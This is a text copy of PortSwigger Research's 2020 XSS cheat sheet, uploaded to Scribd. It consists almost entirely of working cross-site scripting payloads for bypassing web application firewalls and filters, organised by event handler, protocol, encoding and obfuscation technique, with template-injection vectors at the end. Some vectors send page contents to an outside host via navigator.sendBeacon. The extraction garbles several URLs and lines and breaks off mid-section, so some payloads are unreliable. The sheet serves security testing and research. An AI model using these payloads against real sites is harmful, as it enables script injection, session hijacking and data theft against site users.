0% found this document useful (0 votes)

585 views

Cross-Site Scripting (XSS) Cheat Sheet 2020

This document summarizes a cross-site scripting (XSS) cheat sheet containing many vectors that can help bypass web application firewalls and filters. It includes proof of concepts for each vector organized by event, tag, or browser. The cheat sheet is regularly updated and maintained by PortSwigger Research.

Uploaded by

Sali Kerkishvili

Available Formats

Download as PDF, TXT or read online on Scribd

0% found this document useful (0 votes)

585 views

Cross-Site Scripting (XSS) Cheat Sheet 2020

Uploaded by

Sali Kerkishvili

Available Formats

Download as PDF, TXT or read online on Scribd

You are on page 1/ 24

Cross-site scripting (XSS) cheat sheet

This cross-site scripting (XSS) cheat sheet contains many vectors that can help you bypass WAFs and filters. You can select vectors by the event, tag or
browser and a proof of concept is included for every vector.
This cheat sheet was brought to by PortSwigger Research. Follow us on twitter to recieve updates.
This cheat sheet is regularly updated in 2020. Last updated: Thu, 01 Oct 2020 14:46:40 +0000.

Table of contents

Event handlers

Event handlers that do not require user interaction

Event: Description: Code:

onactivate
Compatibility: Fires when the element is activated <xss id=x tabindex=1 onactivate=alert(1)></xss>

onafterprint
Compatibility: Fires after the page is printed <body onafterprint=alert(1)>

onafterscriptexecute
Compatibility: Fires after script is executed <xss onafterscriptexecute=alert(1)><script>1</script>

onanimationcancel
Compatibility: Fires when a CSS animation cancels <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target
{animation:10s ease-in-out 0s 1 x;}</style><xss id=x
style="position:absolute;" onanimationcancel="alert(1)"></xss>

onanimationend
Compatibility: Fires when a CSS animation ends <style>@keyframes x{}</style><xss style="animation-name:x"
onanimationend="alert(1)"></xss>

onanimationiteration
Compatibility: Fires when a CSS animation repeats <style>@keyframes slidein {}</style><xss style="animation-
duration:1s;animation-name:slidein;animation-iteration-count:2"
onanimationiteration="alert(1)"></xss>

onanimationstart
Compatibility: Fires when a CSS animation starts <style>@keyframes x{}</style><xss style="animation-name:x"
onanimationstart="alert(1)"></xss>

onbeforeactivate
Compatibility: Fires before the element is activated <xss id=x tabindex=1 onbeforeactivate=alert(1)></xss>

onbeforedeactivate
Compatibility: Fires before the element is deactivated <xss id=x tabindex=1 onbeforedeactivate=alert(1)></xss><input autofocus>

onbeforeprint
Compatibility: Fires before the page is printed <body onbeforeprint=alert(1)>

onbeforescriptexecute
Compatibility: Fires before script is executed <xss onbeforescriptexecute=alert(1)><script>1</script>
onbeforeunload
Compatibility: Fires after if the url changes <body onbeforeunload=navigator.sendBeacon('//https://ssl.portswigger-
labs.net/',document.body.innerHTML)>

onbegin
Compatibility: Fires when a svg animation begins <svg><animate onbegin=alert(1) attributeName=x dur=1s>

onblur
Compatibility: Fires when an element loses focus <a onblur=alert(1) tabindex=1 id=x></a><input autofocus>

onbounce
Compatibility: Fires when the marquee bounces <marquee width=1 loop=1 onbounce=alert(1)>XSS</marquee>

oncanplay
Compatibility: Fires if the resource can be played <audio oncanplay=alert(1)><source src="validaudio.wav" type="audio/wav">
</audio>

oncanplaythrough
Compatibility: Fires when enough data has been loaded <video oncanplaythrough=alert(1)><source src="validvideo.mp4"
type="video/mp4"></video>
to play the resource all the way through

oncuechange
Compatibility: Fires when subtitle changes <video controls><source src=validvideo.mp4 type=video/mp4><track default
oncuechange=alert(1) src="data:text/vtt,WEBVTT FILE 1 00:00:00.000 -->
00:00:05.000 <b>XSS</b> "></video>

ondeactivate
Compatibility: Fires when the element is deactivated <xss id=x tabindex=1 ondeactivate=alert(1)></xss><input id=y autofocus>

ondurationchange
Compatibility: Fires when duration changes <audio controls ondurationchange=alert(1)><source src=validaudio.mp3
type=audio/mpeg></audio>

onend
Compatibility: Fires when a svg animation ends <svg><animate onend=alert(1) attributeName=x dur=1s>

onended
Compatibility: Fires when the resource is finished <audio controls autoplay onended=alert(1)><source src="validaudio.wav"
type="audio/wav"></audio>
playing

onerror
Compatibility: Fires when the resource fails to load or <audio src/onerror=alert(1)>
causes an error

onfinish
Compatibility: Fires when the marquee finishes <marquee width=1 loop=1 onfinish=alert(1)>XSS</marquee>

onfocus
Compatibility: Fires when the element has focus <a id=x tabindex=1 onfocus=alert(1)></a>

onfocusin
Compatibility: Fires when the element has focus <a id=x tabindex=1 onfocusin=alert(1)></a>

onfocusout
Compatibility: Fires when an element loses focus <a onfocusout=alert(1) tabindex=1 id=x></a><input autofocus>

onhashchange
Compatibility: Fires if the hash changes <body onhashchange="alert(1)">

onload
Compatibility: Fires when the element is loaded <body onload=alert(1)>

onloadeddata
Compatibility: Fires when the first frame is loaded <audio onloadeddata=alert(1)><source src="validaudio.wav"
type="audio/wav"></audio>

onloadedmetadata
Compatibility: Fires when the meta data is loaded <audio autoplay onloadedmetadata=alert(1)> <source src="validaudio.wav"
type="audio/wav"></audio>

onloadend
Compatibility: Fires when the element finishes loading <image src=validimage.png onloadend=alert(1)>

onloadstart
Compatibility: Fires when the element begins to load <image src=validimage.png onloadstart=alert(1)>

onmessage
Compatibility: Fires when message event is received <body onmessage=alert(1)>
from a postMessage call

onpageshow
Compatibility: Fires when the page is shown <body onpageshow=alert(1)>

onplay
Compatibility: Fires when the resource is played <audio autoplay onplay=alert(1)><source src="validaudio.wav"
type="audio/wav"></audio>

onplaying
Compatibility: Fires the resource is playing <audio autoplay onplaying=alert(1)><source src="validaudio.wav"
type="audio/wav"></audio>

onpopstate
Compatibility: Fires when the history changes <body onpopstate=alert(1)>

onprogress
Compatibility: Fires when the video/audio begins <audio controls onprogress=alert(1)><source src=validaudio.mp3
type=audio/mpeg></audio>
downloading

onreadystatechange
Compatibility: Fires when the ready state changes <applet onreadystatechange=alert(1)></applet>

onrepeat
Compatibility: Fires when a svg animation repeats <svg><animate onrepeat=alert(1) attributeName=x dur=1s repeatCount=2 />

onresize
Compatibility: Fires when the window is resized <body onresize="alert(1)">
onscroll
Compatibility: Fires when the page scrolls <body onscroll=alert(1)><div style=height:1000px></div><div id=x></div>

onstart
Compatibility: Fires when the marquee starts <marquee onstart=alert(1)>XSS</marquee>

ontimeupdate
Compatibility: Fires when the timeline is changed <audio controls autoplay ontimeupdate=alert(1)><source
src="validaudio.wav" type="audio/wav"></audio>

ontoggle
Compatibility: Fires when the details tag is expanded <details ontoggle=alert(1) open>test</details>

ontransitioncancel
Compatibility: Fires when a CSS transition cancels <style>:target {color: red;}</style><xss id=x style="transition:color 10s"
ontransitioncancel=alert(1)></xss>

ontransitionend
Compatibility: Fires when a CSS transition ends <style>:target {color:red;}</style><xss id=x style="transition:color 1s"
ontransitionend=alert(1)></xss>

ontransitionrun
Compatibility: Fires when a CSS transition begins <style>:target {transform: rotate(180deg);}</style><xss id=x
style="transition:transform 2s" ontransitionrun=alert(1)></xss>

ontransitionstart
Compatibility: Fires when a CSS transition starts <style>:target {color:red;}</style><xss id=x style="transition:color 1s"
ontransitionstart=alert(1)></xss>

onunhandledrejection
Compatibility: Fires when a promise isn't handled <body onunhandledrejection=alert(1)><script>fetch('//xyz')</script>

onunload
Compatibility: Fires when the page is unloaded <body onunload=navigator.sendBeacon('//https://ssl.portswigger-
labs.net/',document.body.innerHTML)>

onwaiting
Compatibility: Fires when while waiting for the data <video autoplay controls onwaiting=alert(1)><source src="validvideo.mp4"
type=video/mp4></video>

onwebkitanimationend
Compatibility: Fires when a CSS animation ends <style>@keyframes x{}</style><xss style="animation-name:x"
onwebkitanimationend="alert(1)"></xss>

onwebkitanimationiteration
Compatibility: Fires when a CSS animation repeats <style>@keyframes slidein {}</style><xss style="animation-
duration:1s;animation-name:slidein;animation-iteration-count:2"
onwebkitanimationiteration="alert(1)"></xss>

onwebkitanimationstart
Compatibility: Fires when a CSS animation starts <style>@keyframes x{}</style><xss style="animation-name:x"
onwebkitanimationstart="alert(1)"></xss>

onwebkittransitionend
Compatibility: Fires when a CSS transition ends <style>:target {color:red;}</style><xss id=x style="transition:color 1s"
onwebkittransitionend=alert(1)></xss>

Event handlers that do require user interaction

Event: Description: Code:
onauxclick
Compatibility: Fires when right clicking or using the <input onauxclick=alert(1)>
middle button of the mouse

onbeforecopy
Compatibility: Requires you copy a piece of text <a onbeforecopy="alert(1)" contenteditable>test</a>

onbeforecut
Compatibility: Requires you cut a piece of text <a onbeforecut="alert(1)" contenteditable>test</a>

onbeforepaste
Compatibility: Requires you paste a piece of text <a onbeforepaste="alert(1)" contenteditable>test</a>

onchange
Compatibility: Requires as change of value <input onchange=alert(1) value=xss>

onclick
Compatibility: Requires a click of the element <xss onclick="alert(1)">test</xss>

onclose
Compatibility: Fires when a dialog is closed <dialog open onclose=alert(1)><form method=dialog><button>XSS</button>
</form>

oncontextmenu
Compatibility: Triggered when right clicking to show the <xss oncontextmenu="alert(1)">test</xss>
context menu

oncopy
Compatibility: Requires you copy a piece of text <xss oncopy=alert(1) value="XSS" autofocus tabindex=1>test

oncut
Compatibility: Requires you cut a piece of text <xss oncut=alert(1) value="XSS" autofocus tabindex=1>test

ondblclick
Compatibility: Triggered when double clicking the <xss ondblclick="alert(1)" autofocus tabindex=1>test</xss>
element

ondrag
Compatibility: Triggered dragging the element <xss draggable="true" ondrag="alert(1)">test</xss>

ondragend
Compatibility: Triggered dragging is finished on the <xss draggable="true" ondragend="alert(1)">test</xss>
element

ondragenter
Compatibility: Requires a mouse drag <xss draggable="true" ondragenter="alert(1)">test</xss>

ondragleave
Compatibility: Requires a mouse drag <xss draggable="true" ondragleave="alert(1)">test</xss>

ondragover
Compatibility: <div draggable="true" contenteditable>drag me</div><xss
Compatibility: <div draggable= true contenteditable>drag me</div><xss
Triggered dragging over an element ondragover=alert(1) contenteditable>drop here</xss>

ondragstart
Compatibility: Requires a mouse drag <xss draggable="true" ondragstart="alert(1)">test</xss>

ondrop
Compatibility: Triggered dropping a draggable element <div draggable="true" contenteditable>drag me</div><xss ondrop=alert(1)
contenteditable>drop here</xss>

onfullscreenchange
Compatibility: Fires when a video changes full screen <video onfullscreenchange=alert(1) src=validvideo.mp4 controls>
status

oninput
Compatibility: Requires as change of value <input oninput=alert(1) value=xss>

oninvalid
Compatibility: Requires a form submission with an <form><input oninvalid=alert(1) required><input type=submit>
element that does not satisfy its
constraints such as a required attribute.

onkeydown
Compatibility: Triggered when a key is pressed <xss onkeydown="alert(1)" contenteditable>test</xss>

onkeypress
Compatibility: Triggered when a key is pressed <xss onkeypress="alert(1)" contenteditable>test</xss>

onkeyup
Compatibility: Triggered when a key is released <xss onkeyup="alert(1)" contenteditable>test</xss>

onmousedown
Compatibility: Triggered when the mouse is pressed <xss onmousedown="alert(1)">test</xss>

onmouseenter
Compatibility: Triggered when the mouse is hovered <xss onmouseenter="alert(1)">test</xss>
over the element

onmouseleave
Compatibility: Triggered when the mouse is moved <xss onmouseleave="alert(1)">test</xss>
away from the element

onmousemove
Compatibility: Requires mouse movement <xss onmousemove="alert(1)">test</xss>

onmouseout
Compatibility: Triggered when the mouse is moved <xss onmouseout="alert(1)">test</xss>
away from the element

onmouseover
Compatibility: Requires a hover over the element <xss onmouseover="alert(1)">test</xss>

onmouseup
Compatibility: Triggered when the mouse button is <xss onmouseup="alert(1)">test</xss>
released
onmousewheel
Compatibility: Fires when the mousewheel scrolls <xss onmousewheel=alert(1)>requires scrolling

onmozfullscreenchange
Compatibility: Fires when a video changes full screen <video onmozfullscreenchange=alert(1) src=validvideo.mp4 controls>
status

onpagehide
Compatibility: Fires when the page is changed <body onpagehide=navigator.sendBeacon('//https://ssl.portswigger-
labs.net/',document.body.innerHTML)>

onpaste
Compatibility: Requires you paste a piece of text <a onpaste="alert(1)" contenteditable>test</a>

onpause
Compatibility: Requires clicking the element to pause <audio autoplay controls onpause=alert(1)><source src="validaudio.wav"
type="audio/wav"></audio>

onpointerdown
Compatibility: Fires when the mouse down <xss onpointerdown=alert(1)>XSS</xss>

onpointerenter
Compatibility: Fires when the mouseenter <xss onpointerenter=alert(1)>XSS</xss>

onpointerleave
Compatibility: Fires when the mouseleave <xss onpointerleave=alert(1)>XSS</xss>

onpointermove
Compatibility: Fires when the mouse move <xss onpointermove=alert(1)>XSS</xss>

onpointerout
Compatibility: Fires when the mouse out <xss onpointerout=alert(1)>XSS</xss>

onpointerover
Compatibility: Fires when the mouseover <xss onpointerover=alert(1)>XSS</xss>

onpointerrawupdate
Compatibility: Fires when the pointer changes <xss onpointerrawupdate=alert(1)>XSS</xss>

onpointerup
Compatibility: Fires when the mouse up <xss onpointerup=alert(1)>XSS</xss>

onreset
Compatibility: Requires a click <form onreset=alert(1)><input type=reset>

onsearch
Compatibility: Fires when a form is submitted and the <form><input type=search onsearch=alert(1) value="Hit return" autofocus>
input has a type attribute of search

onseeked
Compatibility: Requires clicking the element timeline <audio autoplay controls onseeked=alert(1)><source src="validaudio.wav"
type="audio/wav"></audio>
onseeking
Compatibility: Requires clicking the element timeline <audio autoplay controls onseeking=alert(1)><source src="validaudio.wav"
type="audio/wav"></audio>

onselect
Compatibility: Requires you select text <input onselect=alert(1) value="XSS" autofocus>

onselectionchange
Compatibility: Fires when text selection is changed on <body onselectionchange=alert(1)>select some text
the page

onselectstart
Compatibility: Fires when beginning a text selection <body onselectstart=alert(1)>select some text

onshow
Compatibility: Fires context menu is shown <div contextmenu=xss><p>Right click<menu type=context id=xss
onshow=alert(1)></menu></div>

onsubmit
Compatibility: Requires a form submission <form onsubmit=alert(1)><input type=submit>

ontouchend
Compatibility: Fires when the touch screen, only mobile <body ontouchend=alert(1)>
device

ontouchmove
Compatibility: Fires when the touch screen and move, <body ontouchmove=alert(1)>
only mobile device

ontouchstart
Compatibility: Fires when the touch screen, only mobile <body ontouchstart=alert(1)>
device

onvolumechange
Compatibility: Requires volume adjustment <audio autoplay controls onvolumechange=alert(1)><source
src="validaudio.wav" type="audio/wav"></audio>

onwheel
Compatibility: Fires when you use the mouse wheel <body onwheel=alert(1)>

Restricted characters

No parentheses using exception handling <script>onerror=alert;throw 1</script>

No parentheses using exception handling no semi <script>{onerror=alert}throw 1</script>

colons

No parentheses using exception handling no semi <script>throw onerror=alert,1</script>

colons using expressions

No parentheses using exception handling and eval <script>throw onerror=eval,'=alert\x281\x29'</script>

No parentheses using exception handling and eval <script>

{onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:1,message:'alert\x
on Firefox
281\x29'}</script>
No parentheses using ES6 hasInstance and <script>'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}</script>

instanceof with eval

No parentheses using ES6 hasInstance and <script>'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}</script>

instanceof with eval without .

No parentheses using location redirect <script>location='javascript:alert\x281\x29'</script>

No parentheses using location redirect no strings <script>location=name</script>

No parentheses using template strings <script>alert`1`</script>

No parentheses using template strings and location <script>new Function`X${document.location.hash.substr`1`}`</script>

hash

No parentheses or spaces, using template strings <script>Function`X${document.location.hash.substr`1`}```</script>

and location hash

Frameworks

Bootstrap onanimationstart event <xss class=progress-bar-animated onanimationstart=alert(1)>

Bootstrap ontransitionend event <xss class="carousel slide" data-ride=carousel data-interval=100

ontransitionend=alert(1)><xss class=carousel-inner><xss class="carousel-
item active"></xss><xss class=carousel-item></xss></xss></xss>

Protocols

Iframe src attribute JavaScript protocol <iframe src="javascript:alert(1)">

Object data attribute with JavaScript protocol <object data="javascript:alert(1)">

Embed src attribute with JavaScript protocol <embed src="javascript:alert(1)">

A standard JavaScript protocol <a href="javascript:alert(1)">XSS</a>

The protocol is not case sensitive <a href="JaVaScript:alert(1)">XSS</a>

Characters \x01-\x20 are allowed before the protocol <a href=" javascript:alert(1)">XSS</a>

Characters \x09,\x0a,\x0d are allowed inside the <a href="javas cript:alert(1)">XSS</a>

protocol

Characters \x09,\x0a,\x0d are allowed after protocol <a href="javascript :alert(1)">XSS</a>

name before the colon

Xlink namespace inside SVG with JavaScript <svg><a xlink:href="javascript:alert(1)"><text x="20" y="20">XSS</text></a>
protocol

SVG animate tag using values <svg><animate xlink:href=#xss attributeName=href values=javascript:alert(1)

/><a id=xss><text x=20 y=20>XSS</text></a>

SVG animate tag using to <svg><animate xlink:href=#xss attributeName=href from=javascript:alert(1)

to=1 /><a id=xss><text x=20 y=20>XSS</text></a>

SVG set tag <svg><set xlink:href=#xss attributeName=href from=? to=javascript:alert(1)

/><a id=xss><text x=20 y=20>XSS</text></a>
Data protocol inside script src <script src="data:text/javascript,alert(1)"></script>

SVG script href attribute without closing script tag <svg><script href="data:text/javascript,alert(1)" />

SVG use element Chrome/Firefox <svg><use href="data:image/svg+xml,<svg id='x'

xmlns='http://www.w3.org/2000/svg'
xmlns:xlink='http://www.w3.org/1999/xlink' width='100' height='100'><a
xlink:href='javascript:alert(1)'><rect x='0' y='0' width='100' height='100'
/></a></svg>#x"></use></svg>

Import statement with data URL <script>import('data:text/javascript,alert(1)')</script>

Base tag with JavaScript protocol rewriting relative <base href="javascript:/a/-alert(1)///////"><a

href=../lol/safari.html>test</a>
URLS

MathML makes any tag clickable <math><x href="javascript:alert(1)">blah

Button and formaction <form><button formaction=javascript:alert(1)>XSS

Input and formaction <form><input type=submit formaction=javascript:alert(1) value=XSS>

Form and action <form action=javascript:alert(1)><input type=submit value=XSS>

Use element with an external URL <svg><use href="//subdomain1.portswigger-labs.net/use_element/upload.php#x"

/></svg>

Animate tag with keytimes and multiple values <svg><animate xlink:href=#xss attributeName=href dur=5s
repeatCount=indefinite keytimes=0;0;1 values="https://portswigger.net?
&semi;javascript:alert(1)&semi;0" /><a id=xss><text x=20 y=20>XSS</text>
</a>

Other useful attributes

Using srcdoc attribute <iframe srcdoc="<img src=1 onerror=alert(1)>"></iframe>

Using srcdoc with entities <iframe srcdoc="<img src=1 onerror=alert(1)>"></iframe>

Click a submit element from anywhere on the page, <form action="javascript:alert(1)"><input type=submit id=x></form><label
for=x>XSS</label>
even outside the form

Hidden inputs: Access key attributes can enable <input type="hidden" accesskey="X" onclick="alert(1)"> (Press ALT+SHIFT+X
on Windows) (CTRL+ALT+X on OS X)
XSS on normally unexploitable elements

Link elements: Access key attributes can enable <link rel="canonical" accesskey="X" onclick="alert(1)" /> (Press
ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)
XSS on normally unexploitable elements

Download attribute can save a copy of the current <a href=# download="filename.html">Test</a>
webpage

Disable referrer using referrerpolicy <img referrerpolicy="no-referrer" src="//portswigger-labs.net">

Set window.name via parameter on the window.open <a href=# onclick="window.open('http://subdomain1.portswigger-

labs.net/xss/xss.php?
function
context=js_string_single&x=%27;eval(name)//','alert(1)')">XSS</a>

Set window.name via name attribute in a <iframe> <iframe name="alert(1)" src="https://portswigger-labs.net/xss/xss.php?

context=js_string_single&x=%27;eval(name)//"></iframe>
tag

Set window.name via target attribute in a <base> tag <base target="alert(1)"><a href="http://subdomain1.portswigger-
labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//">XSS via
target in base tag</a>
ta get base tag /a

Set window.name via target attribute in a <a> tag <a target="alert(1)" href="http://subdomain1.portswigger-
labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//">XSS via
target in a tag</a>

Set window.name via usemap attribute in a <img> <img src="validimage.png" width="10" height="10" usemap="#xss"><map
name="xss"><area shape="rect" coords="0,0,82,126" target="alert(1)"
tag
href="http://subdomain1.portswigger-labs.net/xss/xss.php?
context=js_string_single&x=%27;eval(name)//"></map>

Set window.name via target attribute in a <form> tag <form action="http://subdomain1.portswigger-labs.net/xss/xss.php"

target="alert(1)"><input type=hidden name=x value="';eval(name)//"><input
type=hidden name=context value=js_string_single><input type="submit"
value="XSS via target in a form"></form>

Set window.name via formtarget attribute in a <form><input type=hidden name=x value="';eval(name)//"><input type=hidden
name=context value=js_string_single><input type="submit"
<input> tag type submit
formaction="http://subdomain1.portswigger-labs.net/xss/xss.php"
formtarget="alert(1)" value="XSS via formtarget in input type submit">
</form>

Set window.name via formtarget attribute in a <form><input type=hidden name=x value="';eval(name)//"><input type=hidden
name=context value=js_string_single><input name=1 type="image"
<input> tag type image
src="validimage.png" formaction="http://subdomain1.portswigger-
labs.net/xss/xss.php" formtarget="alert(1)" value="XSS via formtarget in
input type image"></form>

Special tags

Redirect to a different domain <meta http-equiv="refresh" content="0; url=//portswigger-labs.net">

Meta charset attribute UTF-7 <meta charset="UTF-7" /> +ADw-script+AD4-alert(1)+ADw-/script+AD4-

Meta charset UTF-7 <meta http-equiv="Content-Type" content="text/html; charset=UTF-7" /> +ADw-

script+AD4-alert(1)+ADw-/script+AD4-

UTF-7 BOM characters (Has to be at the start of the +/v8 +ADw-script+AD4-alert(1)+ADw-/script+AD4-

document) 1

UTF-7 BOM characters (Has to be at the start of the +/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4-

document) 2

UTF-7 BOM characters (Has to be at the start of the +/v+ +ADw-script+AD4-alert(1)+ADw-/script+AD4-

document) 3

UTF-7 BOM characters (Has to be at the start of the +/v/ +ADw-script+AD4-alert(1)+ADw-/script+AD4-

document) 4

Upgrade insecure requests <meta http-equiv="Content-Security-Policy" content="upgrade-insecure-

requests">

Disable JavaScript via iframe sandbox <iframe sandbox src="//portswigger-labs.net"></iframe>

Disable referer <meta name="referrer" content="no-referrer">

Encoding

Overlong UTF-8 %C0%BCscript>alert(1)</script> %E0%80%BCscript>alert(1)</script>

%F0%80%80%BCscript>alert(1)</script> %F8%80%80%80%BCscript>alert(1)
</script> %FC%80%80%80%80%BCscript>alert(1)</script>

Unicode escapes <script>\u0061lert(1)</script>

Unicode escapes ES6 style <script>\u{61}lert(1)</script>

Unicode escapes ES6 style zero padded <script>\u{0000000061}lert(1)</script>

Hex encoding JavaScript escapes <script>eval('\x61lert(1)')</script>

Octal encoding <script>eval('\141lert(1)')</script> <script>eval('alert(\061)')</script>

Decimal encoding with optional semi-colon <a href="javascript:alert(1)">XSS</a><a

href="&#106avascript:alert(1)">XSS</a>

SVG script with HTML encoding <svg><script>alert(1)</script></svg> <svg><script>alert(1)

</script></svg> <svg><script>alert&NewLine;(1)</script></svg> <svg>
<script>x="",alert(1)//";</script></svg>

Decimal encoding with padded zeros <a href="&#0000106avascript:alert(1)">XSS</a>

Hex encoding entities <a href="javascript:alert(1)">XSS</a>

Hex encoding without semi-colon provided next <a href="j&#x61vascript:alert(1)">XSS</a> <a href="&#x6a
avascript:alert(1)">XSS</a> <a href="&#x6a avascript:alert(1)">XSS</a>
character is not a-f0-9

Hex encoding with padded zeros <a href="&#x0000006a;avascript:alert(1)">XSS</a>

Hex encoding is not case sensitive <a href="&#X6A;avascript:alert(1)">XSS</a>

HTML entities <a href="javascript&colon;alert(1)">XSS</a> <a

href="java&Tab;script:alert(1)">XSS</a> <a
href="java&NewLine;script:alert(1)">XSS</a> <a
href="javascript&colon;alert(1)">XSS</a>

URL encoding <a href="javascript:x='%27-alert(1)-%27';">XSS</a>

HTML entities and URL encoding <a href="javascript:x='&percnt;27-alert(1)-%27';">XSS</a>

Obfuscation

Data protocol inside script src with base64 <script src=data:text/javascript;base64,YWxlcnQoMSk=></script>

Data protocol inside script src with base64 and <script

src=data:text/javascript;base64,YWxlcnQ&
HTML entities
#x6f;MSk=></script>

Data protocol inside script src with base64 and URL <script
src=data:text/javascript;base64,%59%57%78%6c%63%6e%51%6f%4d%53%6b%3d>
encoding
</script>

Iframe srcdoc HTML encoded <iframe srcdoc=<script>alert(1)</script>>

</iframe>

Iframe JavaScript URL with HTML and URL encoding <iframe

src="javascript:'%3Cscript&#x2
5;3Ealert(1)%3&
#x43;%2Fscript%3&#x4
5;'"></iframe>

SVG script with unicode escapes and HTML <svg>

Client-side template injection

VueJS reflected
Version: Author: Length: Vector:

Version 2 Mario Heiderich (Cure53) 41 {{constructor.constructor('alert(1)')()}}

Version 2 Mario Heiderich (Cure53) & 62 <div v-html="''.constructor.constructor('alert(1)')()">a</div>

Sebastian Lekies (Google) &
Eduardo Vela Nava (Google)
& Krzysztof Kotowicz
(Google)